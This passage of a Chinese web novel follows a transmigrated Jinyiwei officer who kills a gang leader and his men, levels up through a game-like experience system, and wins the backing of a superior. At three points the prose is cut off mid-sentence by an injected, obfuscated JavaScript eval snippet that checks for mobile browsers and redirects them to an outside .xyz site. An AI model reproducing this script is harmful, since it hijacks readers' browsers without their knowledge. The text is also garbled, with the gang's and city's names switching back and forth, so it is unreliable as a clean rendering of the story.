而小院之中,清水帮的众打手和王辉带来的锦衣校尉们,也终于从这突如其来的剧变中回过神来。 “保护堂主!” “妈的,锦衣卫翻脸了!抄家伙!” “弟兄们上!” 清水帮帮众们虽然惊疑不定,但平日里的凶悍被激发,纷纷呼喝着抽出兵刃,想要上前助战。 “护住大人!” “拿下这群匪类!” 陈飞尽管心中叫苦不迭,暗骂王辉冲动坏事,可事已至此,他身为下属,若王辉出事,他也难逃干系。只得硬着头皮,厉声下令。随行的六名锦衣校尉都是经年的老手,虽心下忐忑,动作却毫不迟疑,绣春刀纷纷出鞘,迎上扑来的清水帮众。 战斗顷刻间爆发。 然而,这一交上手,高下立判。 清水帮今日来的虽多是好勇斗狠之徒,看起来凶神恶煞,但其中真正的武者不过七八人,且品阶不高,大多在七八品徘徊。他们此行本是为了威逼一群毫无反抗之力的平民,根本未曾想过会与官差动手,自然没带来多少精锐。 反观王辉这边,带来的皆是北镇抚司的精干力量,陈飞等三名小旗皆是实打实的六品武者,其余力士也皆有武艺在身,配合默契,刀法森严。 更关键的是,领头者刘虎刚一照面就被王辉偷袭得手,身受重创,此刻被王辉与及时抢上前来助阵的陈飞两人合力围攻,一把鬼头刀左支右绌,败象已露。 “当啷!” 一声脆响,王辉一招刁钻的斜削,精准地挑中了刘虎手腕脉门。刘虎吃痛,五指一松,那柄沉重的鬼头大刀顿时脱手飞出,砸在地上。 “堂主!” “不好!保护堂主!” 几名心腹帮众见状目眦欲裂,拼着受伤也想冲过来救援。 刘虎脸色惨白,右手软软垂下,鲜血淋漓。他踉跄后退两步,倚靠在一个破旧的石磨上,死死盯着王辉,眼神怨毒无比,喘着粗气道:“王…王大人!好,好得很!山水有相逢,今日我刘虎认栽!但这事儿,绝不算完!” 丢下这句江湖惯用的狠话,刘虎强提一口气,朝着混乱的手下们嘶声喊道:“我们走!” 见此情景,陈飞等人心中顿时一松,暗暗庆幸。冲突虽起,但若能就此罢手,或许还有转圜余地…… 然而,他们这口气尚未完全吐出,身后却传来王辉冰冷彻骨的声音,不带一丝烟火气: “本官,准你们走了吗?” 刘虎正欲转身离去的动作猛然一僵,捂着血流不止的手腕,难以置信地回过头,怒极反笑:“王大人!你还待怎样?莫非真要我清水帮与你不死不休吗?做事留一线,日后好相见!别给脸不要脸!” 王辉微微摇了摇头,甩落刀尖上的血珠,语气平淡得令人心寒:“没什么,只是提醒刘堂主一句,本官向来言而有信,说到……便要做到。” 话音未落, 王辉足尖猛地一点地面,身形如鬼魅般飘忽而出!手中那柄绣春刀划出一道凄冷的弧线,刀势由刚猛的劈砍化为诡谲的拖抹,两道匹练般的刀光几乎是同时闪现! “噗嗤!”“噗嗤!” 利刃割裂喉管的沉闷声响清晰可闻。 守在刘虎身旁最近的两名彪悍帮众,脸上狰狞的表情瞬间凝固,眼睛瞪得滚圆,双手徒劳地捂住颈部。指缝间,鲜血如同开了闸的洪水般喷涌而出。两人喉咙里发出“嗬嗬”的漏气声,身体晃了两晃,重重栽倒在地,激起一片尘埃。 【经验值+41】 【经验值+33】 两行细微的、唯有王辉自己能见的提示,在他意识中悄然浮现。 “你……你敢!”刘虎瞳孔骤缩,惊骇欲绝,发出一声绝望的嘶吼。 回应他的,是毫不犹豫、贯心而入的一刀! “噗——!” 绣春刀锋利的刀尖精准地刺入刘虎心窝,强大的推力带着他的身体向后猛退,“咚”的一声闷响,将其死死钉在了后方那堵斑驳的石墙之上!刀身透背而过,竟刺入石墙半寸! 王辉手腕猛地一拧,然后用力一抽! 鲜血如同泼墨般溅射在灰白的墙壁上,勾勒出残酷的图案。 刘虎身体一颤,嘴唇剧烈地蠕动着,大口大口的鲜血混合着内脏碎片从口中涌出。他死死地盯着王辉,眼中充满了震惊、怨毒以及一丝难以置信的恐惧,身体沿着墙壁缓缓滑落,瘫坐在地,脑袋一歪,彻底没了声息。 【经验值+175】 “我这人,向来说话算数。”王辉垂眸看着气息断绝的刘虎,声音冷硬如铁,“说送你去见曹峰,就一定会送你去。” 院内院外,霎时间陷入一片死寂。 唯有风声呜咽。 “堂…堂主死了!” “堂主被杀了!” “快…快跑!回去禀告帮主!” “报仇! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513463|186188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定要报仇啊!” 短暂的死寂之后,是清水帮帮众们崩溃般的惊呼和哭嚎。剩余的十几人彻底丧失了斗志,发一声喊,如同无头苍蝇般惊恐万状地向着院外溃逃。 “一个都不准放走!全部拿下!”王辉的声音如同寒冰炸裂,惊醒了一众尚处于震惊中的锦衣卫。 他本人更是率先而动,体内内力奔涌,身形一掠便是丈余,如同苍鹰扑兔,瞬间追至一名狂奔的帮众身后,手起刀落! “啊——!” 惨叫声戛然而止。 王辉脚步毫不停滞,刀光回转,又如毒蛇出洞,精准地抹过另一名汉子的脖颈。 【经验值+29】 【经验值+15】 他如同虎入羊群,刀光闪烁间,又有三四名逃得最慢的帮众哀嚎着倒在了血泊之中。 在他的带动和严令下,其余锦衣卫也终于狠下心来,纷纷发力追击、拦截。一场混战之后,除少数几个腿脚极快的侥幸逃脱外,其余清水帮众非死即伤,尽数被制服在地。受伤者被粗暴地用绳索捆绑,扔在一起,哀鸣不止。 小院之内,顷刻间已横七竖八躺了十几具尸体,鲜血汩汩流淌,浸湿了泥土,浓重的血腥味呛得人作呕。 陈飞等锦衣卫收刀入鞘,望着眼前这片狼藉血腥的场面,脸色都异常难看,空气中弥漫着压抑和不安的气息。他们虽然被迫参与了这场杀戮,但每个人心里都清楚,杀了清水帮一个堂主,还屠了这么多帮众,这仇是彻底结下了,绝无善了的可能。清水帮的疯狂报复,恐怕转眼即至。 王辉自然明白他们的顾虑,当下也不多言,沉声吩咐道:“留几个人清理现场,看好这些俘虏。其余人,将伤者和尸体全部拖回百户所!清水帮众光天化日之下,持械抗法,袭击锦衣卫,形同谋逆!本官倒要看看,这都江城,还是不是大楚朝的天下!” 一众锦衣卫不敢违拗,纷纷行动起来,但动作间难免带着迟疑和沉重,气氛凝重得如同暴雨将至。 陈飞走到王辉身边,望着手下人搬运尸体,嘴唇翕动了几下,终究还是没忍住,压低声音,语气充满了忧虑:“大人,咱们这次……怕是捅了马蜂窝了!刘虎是清水帮帮主的嫡系心腹,他们绝不会善罢甘休的!接下来恐怕……” 王辉目光扫过远处那些既恐惧又隐含一丝快意的百姓,缓缓收刀归鞘,发出“咔”的一声轻响。他语气沉静,却带着不容置疑的力度:“清水帮强占民宅、下毒杀人、证据确凿!事发后更是公然持械围攻、意图杀害朝廷命官!每一条都是死罪!本官依法格杀匪首,缉拿余党,天经地义!他清水帮再势大,还敢明火执仗地来攻打我北镇抚司百户所,向朝廷清算吗?” 陈飞与另外两位小旗闻言,相互对视一眼,脸上皆露出难以掩饰的苦涩。这位王大人,身手狠辣是不假,可终究还是太年轻气盛了啊……这都江城里的水,远比想象的要深得多,很多时候,道理和律法,抵不过真正的拳头和银钱。 众人沉默着开始收队,押解着俘虏,抬着尸体,向着百户所方向行去。队伍气氛压抑,无人说话,唯有铁链拖地和沉重的脚步声在泥巷中回响。 王辉跟在队伍中,心神微动,召唤出那只有他自己能见的系统界面。方才一连串的击杀,经验值已然累积达到了331点。 没有丝毫犹豫,他当即在心中默念:“使用300点经验值,提升《玄元功》。” 【使用300点经验值】 【玄元功提升至第五层】 【当前境界提升至五品】 一股灼热却异常精纯的内力瞬间自丹田气海深处涌出,如同奔腾的江河,迅速流转向四肢百骸,滋养着经脉,强化着筋骨。一种力量显著提升的充实感遍布全身,连番激战带来的些许疲惫一扫而空,五感也变得更为敏锐。 王辉轻轻握了握拳,感受着体内澎湃的力量,眼神愈发深邃冰冷。 风雨欲来,唯有握紧手中的刀,才能杀出一条生路。 12. 鼓动民愤 内力在经脉中奔涌的触感,比任何时候都要清晰。 王辉站在巷口的老槐树下,指尖微微泛着热意——那是玄元功突破到第五层后,内力充盈到溢散的迹象。方才在小院里斩杀刘虎时,他还能清晰感受到六品境界的桎梏,可当300点经验值化作暖流涌入丹田,那层无形的壁垒就像被惊雷劈开,体内的玄元功瞬间运转得更快,经脉仿佛被拓宽了半分,原本只能勉强支撑一刻钟的内力,如今竟能轻松流转半个时辰。 他握了握拳,指节发出轻微的脆响,掌心传来的力量感踏实得让人心安。以前劈砍时还需刻意调动内力,现在只需心念一动,内力便会顺着手臂涌向指尖,连带着腰间的横刀都似有了灵性,刀鞘上的云纹在阳光下泛着淡淡的光。 “果然,越往后突破,变化越是天差地别。”王辉低声感慨。前世在现代社会,他只是个普通的上班族,穿越到这个武道为尊的世界后,若不是靠着系统,别说五品武者,恐怕连街头混混都打不过。这三年来,他从九品杂役一步步爬到试百户,每一次境界提升,都意味着离生存的底线更远一步。 他抬手召出系统面板,半透明的蓝光在眼前一闪而过: 【宿主:王辉】 【境界:五品武者】 【功法:玄元功(第五层 0/500)】 【武技:破风刀法(大成)、大雁术(入门 0/30)、□□法(初窥门径 0/70)】 【经验值:31点】 目光落在“□□法”上,王辉沉吟片刻。破风刀法虽已大成,擅长快准狠的突袭,可面对重甲敌人或坚固防御时,总少了几分霸道。而□□法是他前几天从百户所武库借来的杀伐之术,讲究一力破万法,刀势刚猛,正好能弥补破风刀法的短板。如今还剩31点经验值,足够将其提升到小成境。 “使用30点经验值,提升□□法。” 【使用30点经验值】 【□□法提升至小成境】 【剩余经验值:1点】 指令落下的瞬间,王辉只觉得脑海中轰然一响,无数关于□□法的招式、发力技巧、实战心得如同潮水般涌来——有劈砍巨石的发力诀窍,有应对长枪的格挡手法,甚至还有与高手对决时的破绽预判。仿佛他不是刚提升境界,而是浸淫这门刀法数十年的老手,一招“断山式”的起手、转腰、劈砍,每一个细节都刻进了肌肉记忆里。 他下意识地抽出横刀,手腕轻轻一转,刀身在空中划出一道厚重的弧光,没有破风刀法的尖锐呼啸,却带着一股碾压性的气势,连地面的槐花瓣都被刀风扫得向后翻飞。王辉满意地点点头,收刀入鞘——现在他既有破风刀法的迅捷,又有□□法的刚猛,战力至少提升了三成,只是这变化,除了他自己,无人知晓。 收起系统面板,王辉的目光投向巷尾——那里躲着数十个平民,正是之前从小院里逃出来的张老汉、刘老头一行人。他们大多衣衫褴褛,有的扶着受伤的家人,有的攥着被刀划破的衣角,远远望着这边,眼神里满是惶恐和犹豫。 王辉整理了一下染血的飞鱼服,迈步走了过去。 脚步声在安静的巷子里格外清晰,当看到满身是血、眼神锐利的王辉靠近,平民们瞬间慌了。张老汉急忙把老伴护在身后,刘老头攥着拳头往后退了两步,几个年轻些的汉子甚至捡起了地上的石头,一副戒备的模样。 “别过来!”一个穿粗布短打的汉子喊道,声音却在发抖,“你……你们锦衣卫和清水帮不是一伙的吗?现在又想干什么?” 王辉停下脚步,目光扫过众人,沉声道:“想保住你们的房屋田地,今天是最后的机会。” 他的声音不高,却带着一股不容置疑的力量,让慌乱的平民们渐渐安静下来。王辉继续道:“刚才的事你们都看到了,刘虎已死,天水帮的帮众被我拿下了大半。这件事肯定会闹大,但光靠我一个人,闹不到让府衙不得不出面的地步——我需要你们跟我一起。” “跟你一起?”刘老头皱着眉,往前凑了两步,他的脸颊上还带着被刘虎抽打的红印,“你是想让我们去府衙报案?可之前我们报了多少次,府衙都说我们‘诬告’,连门都不让进!” “这次不一样。”王辉道,“我会让锦衣卫这边整理清水帮强占民宅、下毒杀人、袭杀朝廷官员的证据,你们带着人去府衙门口请愿,把事情闹大。只要围观的人多了,府衙就算想偏袒清水帮,也得顾及名声。” 巷子里一片沉默。平民们你看看我,我看看你,眼神里满是怀疑。张老汉叹了口气,低声道:“王大人,不是我们不信你,只是……我们怕了。上次李老三去府衙告状,回来就被清水帮的人打断了腿,现在还躺在床上起不来。我们要是去了,万一你这边……” 后面的话他没说出口,但意思很明显——他们怕王辉只是利用他们,等事情过了,他们还是会被天水帮报复。 人心本就如此,在底层挣扎久了,早已学会了谨慎和怀疑。王辉心里清楚,苦口婆心的劝导没用,只会让他们觉得自己别有所图。 他冷哼一声,语气冷了几分:“你们要做就做,不做就算了。对我来说,有没有你们,我都能把清水帮的罪证递上去;但对你们来说,错过了今天,下次天清水帮再来,就不是强占房屋简单了——他们会杀了你们,永绝后患。” 说罢,王辉转身就走,没有丝毫留恋。 这一下,平民们反而慌了。 刚才王辉要是继续劝说,他们还会犹豫;可王辉这副“毫不在意”的态度,倒让他们心里没底了。刘老头看着王辉的背影,想起刚才刘虎被斩杀时的场景——这个锦衣卫大人,好像和以前那些贪生怕死的官不一样,他是真的敢跟天水帮动手。 “王大人!”刘老头突然鼓起勇气,追了两步,“您……您真的会帮我们?” 王辉脚步没停,背对着他冷声道:“我只是履行锦衣卫的职责,抓贼拿凶,仅此而已。至于你们能不能把握住机会,与我无关。” 话音落下,他的身影已经消失在巷口。 巷子里的平民们面面相觑,沉默了片刻。 “我觉得……可以信他一次。”张老汉扶着老伴,声音有些沙哑,“刚才刘虎要杀我,是王大人救了我。而且他要是想利用我们,没必要跟天水帮硬拼,杀了那么多人。” “是啊!”一个中年汉子突然喊道,他是刘家三兄弟的邻居,黄家三兄弟上个月因为反抗天水帮强占土地,被活活打死,尸体至今还没找回来,“清水帮早就想逼死我们了!他们给的那点补偿,连买半亩地都不够,我们就算不去,迟早也是死!不如搏一搏,万一成了呢?” “我去!”一个穿补丁衣服的年轻人举起手,“我爹被清水帮打断了腿,我要去告他们!” “算我一个!” “我也去!就算为了刘家三兄弟,也得去!” 越来越多的人附和起来,刚才的犹豫和恐惧,渐渐被求生的欲望和愤怒取代。刘老头看着众人,抹了把脸,大声道:“好!我们现在就去叫上其他被清水帮欺负的人,一起去府衙!咱们把棺材抬上,让所有人都看看清水帮的恶行!” 半个时辰后,巷口传来一阵嘈杂的脚步声。王辉站在不远处的茶摊旁,看着数百个平民浩浩荡荡地走出来——有老人,有妇女,还有抱着孩子的母亲,每个人的手臂上都绑着一条白布,前面抬着三口简陋的棺材,棺材上用黑墨写着“刘家三兄弟之灵”。 “请府衙还公道!” “清水帮杀人放火,强占民宅!” “锦衣卫大人为民除害,求府衙做主!” 口号声越来越响,吸引了不少路人围观。王辉嘴角微微勾起一抹笑容——民心可用,有了这些平民的声援,府衙就算想压下此事,也没那么容易。他原本还担心百户所那边不敢出头,现在有了这出“民怨沸腾”,事情就好办多了。 “陈校尉。”王辉转身,看向身后一直跟着的陈飞,陈飞刚才被他安排在暗处,观察平民的反应,此刻正一脸惊讶地看着浩浩荡荡的人群。 “大人,您这招……太高了!”陈飞反应过来,忍不住赞叹道,他之前还担心平民不敢出头,没想到王辉三言两语就说动了他们。 王辉摇摇头,神色凝重起来:“这只是第一步。你现在马上回百户所总院,找到百户大人,把今天的事情原原本本告诉他——重点说清水帮袭杀锦衣卫,意图谋反,还有现在平民聚众请愿的事。” “回总院?”陈飞愣了一下,随即皱起眉,“大人,百户大人一向不愿得罪清水帮,上次李百户就是因为这事被罢官的,他会不会……” “他会的。”王辉打断他,语气肯定,“你知道咱们百户大人今年多大吗?” 陈飞想了想:“好像……三十岁左右?” “三十岁就能当上百户,你觉得他会甘心一辈子待在都江城这个小地方?”王辉冷笑一声,“他要是想往上爬,就必须有政绩,有好名声。一个连江湖帮派都不敢招惹的百户,传到京城去,他还怎么升迁?这次平民请愿,正好是他的机会——只要他肯出面,既能落下‘为民做主’的名声,又能向上面表忠心,他不会放过这个机会。” 陈飞眼睛一亮,瞬间明白了王辉的意思。之前他只看到了清水帮的势力,却没考虑到百户的野心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话音刚落,一个穿着绯色官服的人就怒气冲冲地从大厅里走出来——正是东院的总旗张刚。他今年四十多岁,在东院待了十几年,早就被清水帮喂熟了,平日里只要清水帮不太过火,他就睁一只眼闭一只眼。今天听说王辉杀了刘虎,还闹得平民聚众请愿,顿时吓得魂都快没了。 “王辉!你给我过来!”张刚指着王辉,声音因为愤怒而发抖。 王辉神色平静,跟着他走进大厅。两个押着帮众的校尉想跟进去,却被张刚的手下拦住了。 大厅里,张刚“啪”的一声拍在桌子上,茶杯都被震得跳了起来。“你这是要干什么?啊?我让你去阳明巷走个过场,安抚一下平民,你倒好,直接杀了刘虎,还杀了那么多帮众!你是不是想翻天?” 王辉站在原地,微微拱手,语气依旧平静:“张总旗,并非属下故意生事。当时刘虎正欲杀害平民,属下上前阻止,他却纠集帮众袭杀锦衣卫,无视朝廷律法,属下若是不反击,恐怕现在躺在地上的,就是属下和其他锦衣卫了。” “反击?”张刚冷笑一声,眼睛瞪得溜圆,“谁让你当众杀人的?你不会把他们抓回来再审吗?你知不知道刘虎是谁?他是清水帮堂主!你杀了他,清水帮能放过咱们东院?” “总旗大人,”王辉抬起头,眼神锐利起来,“锦衣卫的职责是维护地方治安,抓捕凶徒。清水帮强占民宅、杀人放火,已是死罪,如今又袭杀朝廷官员,更是罪加一等。属下依法办事,何错之有?” “你还敢顶嘴?”张刚被他噎得说不出话,脸色铁青,指着门口厉声道,“我看你就是太年轻,不知天高地厚!从今天起,你被停职了!回家好好反省,什么时候复职,等我通知!” “大人!” 大厅外突然传来一声惊呼,是之前跟着王辉的两个校尉,他们刚才没走远,听到张刚的话,忍不住冲了进来。其中一个校尉急声道:“总旗大人,不可啊!王大人现在停职,清水帮肯定会报复他的!他要是有官职在身,清水帮还得掂量掂量,可要是没了官职……” “这里有你们说话的份吗?”张刚猛地打断他,脸色阴沉,“我是东院总旗,我说了算!你们要是再敢多嘴,连你们一起停职!” 两个校尉脸色瞬间变得惨白,还想再说什么,却被王辉用眼神制止了。 王辉看着张刚,嘴角勾起一抹冷冽的弧度:“既然总旗大人决定了,属下遵令。只是属下还有一事禀报——今日抓获的清水帮帮众,以及刘虎的尸体,都已带回东院,相关罪证也已整理完毕,还请总旗大人尽快上报总院,以免延误案情。” 张刚冷哼一声,别过脸:“不用你管!你现在就滚回家,不准再插手此事!” 13. 百户唐浩 “张大人,这怕是不合适吧?”李达校尉往前凑了半步,指尖无意识地攥紧了腰间的刀鞘,声音里带着难掩的急切,您要是停了他的职,底下弟兄们怕是不服,百姓那边也没法交代啊!” 张刚坐在上首的酸枝木案后,指节敲着案上堆叠的文书,发出“笃笃”的轻响。他抬眼扫了李达一眼,那眼神像淬了冰,让李达下意识地闭了嘴,后半截话硬生生咽了回去。案几旁的铜炉里燃着劣质的线香,烟气袅袅,却掩不住张刚脸上的不耐——他今早刚收了天水帮送来的三千两银票,指腹还能摸到银票上细密的纹路,此刻满脑子都是如何把王辉这个“绊脚石”踢开,哪耐烦听校尉们的劝。 “有什么不合适的?”张刚终于开口,声音又冷又硬,像块生铁,“我已经让刘三暂代小旗的位子,王辉就回家歇着,什么时候想通了‘规矩’,再来说复职的事。” “这……”张刚这是铁了心要护着天水帮,他们俩不过是校尉,真把人得罪狠了,往后在营里怕是连立足的地方都没有。 两人同时转头看向站在厅中的王辉,眼神里满是急切,嘴唇动了动,想让他服个软,哪怕认个错也好。毕竟张刚是总旗,捏着他们的差事,真要铁了心为难人,王辉就算占理,也讨不到好。 王辉却没像他们预想的那样慌乱。只是那双眼睛亮得惊人,像淬了火的钢,直直看向张刚:“张大人,您这是铁了心要把我往死路上推?” 张刚的手指顿了顿,抬眼看向他,语气里带着几分刻意的不耐烦:“王辉,休得胡言!本官只是让你暂歇,何来‘推你去死’之说?” “暂歇?”王辉冷笑一声,往前踏了一步,声音不大,却像颗石子砸在平静的水面上,震得厅里所有人都竖起了耳朵,“张大人,阳明巷的事您比谁都清楚,您现在停我的职,不是明着告诉所有人,要让他们来弄死我吗?” 这话一出,厅里瞬间静得能听见线香燃烧的“滋滋”声。李达和赵坤的脸“唰”地白了,他们怎么也没想到,王辉竟然敢把这话直接说出来——这无异于当众打张刚的脸,更是把“张刚收受贿赂”这层窗户纸捅破了! 张刚果然勃然大怒,他猛地一拍案几,案上的茶盏“哐当”一声翻倒,茶水泼在文书上,晕开一片深色的水渍。“放肆!王辉你好大的胆子!”他指着王辉,声音因愤怒而沙哑,脖子上的青筋一根根暴起,“到了现在你还不知悔改,竟敢污蔑上官!你真当本官不敢拿你治罪吗?” “治罪?”王辉挑眉,眼神里满是不屑,“张大人要治我什么罪?治我为民请命的罪,还是治我没跟您一起分天水帮黑钱的罪?您倒是说说,我听听。” “你!”张刚被他堵得说不出话,气得脸色铁青,花白的胡子都翘了起来,手指着王辉的手不住地发抖,“狂妄!简直是狂妄至极!一个小小的小旗,也敢跟本官这么说话,你眼里还有没有王法!” “王法?”王辉微微眯起眼睛,语气冷得像寒冬的风,“作为锦衣卫,食朝廷俸禄,本该护佑百姓,可您呢?面对清水帮这种欺压良善的江湖帮派,您畏之如虎,连句硬话都不敢说。说您尸位素餐,我都觉得是抬举您了——您这是拿着朝廷的钱,帮着恶人害百姓!” “竖子!安敢辱我!”张刚彻底被激怒了,他猛地站起身,伸手就想去拔腰间的佩刀。 李达和赵坤吓得赶紧上前一步,想拦住张刚,却没等他们开口,厅外突然传来一阵整齐的脚步声——“踏踏踏”,声音沉稳有力,带着一股肃杀之气,显然是训练有素的人手。 众人都是一愣,张刚拔刀的动作也顿住了。他皱着眉看向门口,心里突然升起一股不好的预感——这个时候,谁会来他的分所? 很快,一队穿着玄色制服的力士走了进来,为首的是一个面生的校尉,肩甲上绣着“总旗”的标识,身后还跟着一个穿着青色常服的年轻人,正是陈飞。那队力士个个身材高大,腰间佩着绣春刀,刀鞘泛着冷光,眼神锐利如鹰,一进门就分列两侧,瞬间让原本就紧张的气氛更显压抑。 张刚心里的不安更甚,他强压下怒火,脸上扯出一抹僵硬的笑容,对着为首的校尉拱手:“这位兄弟看着面生,不知是总院哪位大人麾下?今日来我这分所,可是百户大人有什么吩咐?” 那校尉却没跟他多寒暄,从怀里掏出一份折叠整齐的公文,展开后,声音洪亮如钟:“奉百户唐浩大人之命,特来请王辉王小旗即刻前往总院述职!” 这话一出,张刚的脸色瞬间变了——唐浩?南城百户所的那位百户大人?他怎么会突然关注王辉这么个小旗? 没等张刚反应过来,那校尉继续说道:“王小旗在阳明巷为民请命,面对清水帮恶徒毫不退让,亲手斩杀数名拒捕歹徒,并抓捕多名帮众,维护了地方安宁。唐大人听闻此事后,对王小旗的英勇无畏大为赞赏,特召其前往总院,一来是当面褒奖,二来是唐大人对阳明巷之事极为震怒,想与王小旗商议后续处置清水帮的方针。” 说完,那校尉转向王辉,态度明显温和了许多,拱手道:“王小旗,请吧。唐大人还在总院等着您。” 王辉上前一步,接过公文仔细看了看——公文用的是总院特制的宣纸,右上角盖着南城百户所的朱红大印,字迹遒劲有力,正是唐浩的手笔。他指尖拂过印章的纹路,确认不是伪造,心里悬着的石头终于落了一半。王辉收起公文,抬眼瞥了一眼脸色难看的张刚,没说一句话,转身就跟着那校尉往外走。 李达和赵坤见状,赶紧朝着张刚拱手行了个礼,也快步跟了上去——他们心里清楚,王辉这一去,怕是要有转机了,而张刚,恐怕要麻烦了。 厅里很快就只剩下张刚和他的幕僚孙启。张刚站在原地,脸色一阵青一阵白,拳头攥得死紧,指节都泛了白。过了好一会儿,他才猛地一拳砸在案几上,怒吼道:“好!好一个王辉!竟然敢越级上报!他眼里根本就没有我这个总旗!简直是无法无天!” 孙启站在一旁,脸上满是愁容,他叹了口气,小心翼翼地说道:“大人,现在不是气这个的时候。唐大人突然召王辉过去,还特意提了阳明巷的事,显然是知道了些什么。咱们收清水帮银子的事……怕是瞒不住了。” 张刚的身体僵了一下,脸上的怒气渐渐褪去,取而代之的是一丝慌乱。 “那……王辉那边,要不要做些准备?比如派人去路上……”孙启做了个抹脖子的手势,声音压得极低。 张刚浑身一震,猛地转头看向孙启,眼神里满是惊惧:“你疯了?唐浩的人就在外面等着王辉,你现在动他,不是明着告诉唐浩是我干的?”他深吸一口气,摆了摆手,“不用了。唐浩既然召了他,咱们现在做什么都晚了。先把银子退了,看看情况再说吧。” 孙启看着张刚颓然的样子,心里暗暗叹气——他知道,张刚这是怕了。唐浩的威名在南城百户所里无人不知,没人敢轻易招惹,张刚这次,怕是真的栽了。 王辉跟着那校尉走出分所,才发现外面停着一辆黑漆马车,车厢宽敞,车轮上裹着厚厚的棉垫,显然是为了减少颠簸。那校尉请他上车,自己则带着力士跟在马车旁边步行——这待遇,连总旗都未必能享受到。 马车缓缓驶动,王辉撩开车帘一角,看着外面的街景。临江城的街道很热闹,小贩的叫卖声、行人的谈笑声此起彼伏,路边的包子铺冒着热气,香味飘进车厢里。可王辉却没什么心思欣赏——他心里既有些庆幸,又有些忐忑。庆幸的是,唐浩果然如他所料,出手保了他;忐忑的是,唐浩为什么会这么做?是真的欣赏他的“英勇”,还是有别的目的? 他跟唐浩从未见过面,只在同僚的口中听过这位百户大人的事迹。南城百户所共有八个百户,千户所里占四个,东南西北四城各占一个,唐浩是西城百户,也是八个百户里最年轻的——接任百户的时候才三十岁,比其他几个百户年轻了近二十岁。而且他是“空降”来的,之前在临江府没有任何任职记录,一来就坐上了百户的位子,没人知道他的背景,只知道他修为深不可测,上任第一年就端了两个欺压百姓的大帮派,整顿了百户所里的腐败风气,手段强硬,威望极高。 王辉当初决定把事情闹大,就是赌唐浩会管——他知道唐浩一直想找机会整顿锦衣卫里,而张刚收清水帮银子、打压他的事,正好是个契机。可他心里也没底,毕竟唐浩身居高位,未必会在意他这么个小旗的死活。现在唐浩真的出手了,他反而有些不确定了。 马车走了大约半个时辰,终于停在了南城百户所总院门口。总院比王辉所在的分所气派多了,大门是朱红色的,上面钉着铜钉,门楣上挂着“南城锦衣卫百户所”的匾额,阳光下泛着金光。门口站着两个手持长枪的力士,身姿挺拔如松,眼神锐利如鹰,气场十足。 领路的校尉先下车,然后恭敬地对车厢里的王辉说道:“王小旗,到了。” 王辉下车,跟着校尉走进总院。院子里铺着青石板,两旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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唐浩放下手中的毛笔,抬眼打量着王辉,嘴角突然勾起一抹怪异的笑容:“你倒是比我想象中年轻。胆子也挺大——得罪了清水帮,还敢把事情闹到我这里来,拉我当挡箭牌,你就不怕我不管你,让你自己去跟清水帮硬碰硬?” 被唐浩一语点破心思,王辉却没有丝毫慌乱。他知道,自己那点小心思,在唐浩这种老谋深算的人面前,根本藏不住。王辉抬起头,眼神坦诚地看着唐浩:“大人,属下也是无可奈何。清水帮在都江城势力庞大,手下有数百帮众,还有不少高手,连张刚总旗都不敢得罪他们。属下只是个小旗,手里只有十几个弟兄,若是大人不救我,别说为民请命了,恐怕连自己的性命都保不住。” 唐浩笑了笑,手指在书桌上轻轻敲了敲,发出“笃笃”的轻响,语气带着几分玩味:“还会用激将法?不错,年纪轻轻,心眼倒是不少。不过,你也算是聪明——你猜得没错,我的确对清水帮很不满。” 王辉心里一动,没说话,等着唐浩继续说下去。 唐浩收起笑容,语气变得严肃起来:“这两年,清水帮在临江城越来越嚣张,百姓怨声载道。 他停顿了一下,看向王辉,眼神里带着一丝锐利:没想到他们倒是越来越放肆,连我锦衣卫的人都敢动了——你在阳明巷杀了他们的人,他们就敢买通张刚杀你,真当我这个百户是摆设?” 王辉愣住了,他没想到唐浩对天水帮的底细了解得这么清楚,更没想到唐浩的目标竟然是整个清水帮。他原本以为,唐浩只是想借他的事,敲打一下张刚这种腐败分子,没想到唐浩的野心更大——他要的,是彻底铲除清水帮,还临江城百姓一个太平。 “大人,您的意思是……”王辉试探着问道。 唐浩微微笑了笑,从抽屉里拿出一张纸,推到王辉面前:“你看看这个。” 王辉拿起纸,仔细一看,上面记录的竟然是张刚与清水帮的往来——什么时候收了清水帮的银子,收了多少,最近的是自己杀了清水帮返回途中送了三千两银票给张刚,让他“处理”掉王辉。 “这……”王辉惊讶地看着唐浩,他没想到唐浩竟然早就调查张刚了。 他放下茶杯,眼神里闪过一丝冷意:“你在阳明巷的事,正好给了我一个机会。张刚收了清水帮的银子,要置你于死地。 王辉心里豁然开朗——原来唐浩早就布好了局,自己不过是正好撞进了这个局里,成了唐浩手里的一把刀。 “大人,您想让属下做什么?”王辉问道,语气坚定得像块石头。 就在这时,唐浩微微笑了笑,挑了挑眉,道:“想不想弄死张刚那老家伙?” 14. 风雨欲来 王辉指尖捏着腰间佩刀的穗子,如今已被摩挲得泛出暗褐光泽。听得唐浩这话,他眉头骤然一挑,眼底掠过一丝困惑。 “大人,此话何意?”王辉拱手时,目光不自觉扫过案上的公文堆,最顶上那本的封皮写着“都江府户房卷宗”,边角还沾着点未干的墨渍。 